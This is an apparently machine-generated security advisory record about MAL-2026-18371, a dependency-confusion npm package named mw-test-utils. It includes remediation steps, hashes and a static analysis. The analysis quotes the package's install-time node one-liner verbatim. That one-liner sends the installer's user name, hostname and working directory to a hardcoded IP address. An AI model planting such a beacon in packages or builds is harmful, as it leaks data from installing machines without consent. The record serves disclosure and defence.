{"answers":{"affected":"1 open source package ship an affected version, including mw-test-utils.","exploited":"There is no known exploitation of MAL-2026-18371 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18371 is a malicious package in mw-test-utils, published on 29 Oct 2026."},"fix_prompt":"MAL-2026-18371 is a malicious package: mw-test-utils (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18371/ (Markdown: https://insights.sbomify.com/MAL-2026-18371/index.md)","id":"MAL-2026-18371","markdown":"https://insights.sbomify.com/MAL-2026-18371/index.md","name":"MAL-2026-18371","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'\u0026h='+encodeURIComponent(require('os').hostname())+'\u0026p='+encodeURIComponent(process.cwd())).on('error',()=\u003e{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.\n\nTarball sha256:\n1.0.0: 06a3870b3807b00636c95eea01b057c748dd908fe2677c5dbc05516519a08c56\n10.0.0: 70cf433a26fee76da087163816b8e3d1939fee9650b1cc6bd0b02b70bba90d9e\n10.0.1: 1dbbab093762b688298ca21abab34018a5988b9e9647e56ac72152a3b2c8a011\n\nAnalysis was static only; nothing was executed.\n\nThe package ships no functional code (index.js exports an empty object) but defines preinstall and postinstall lifecycle scripts in package.json that run inline node code to issue HTTP GET requests to http://38.242.235.206/depconf/mw-test-utils/preinstall and /postinstall. Each request carries the installer's USER/USERNAME environment value, the OS hostname, and the current working directory as query parameters. The requests fire automatically on every npm install, over plain HTTP, to a hardcoded bare-IP address with no TLS and no caller-configurable endpoint. The package name follows an 'mw-*' pattern consistent with internal-namespace collision, so any build that resolves this name from the public registry performs the beacon under the resolving organization's identity. The README frames the package as a dependency-confusion placeholder, but that self-labeling is author-controlled and does not constitute consent from installers whose builds resolve the name.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in mw-test-utils (npm)","id":"MAL-2026-18371","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"mw-test-utils","purl":"pkg:npm/mw-test-utils","source":"MAL-2026-18371"}],"products":null,"published":"2026-10-29","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18371/"}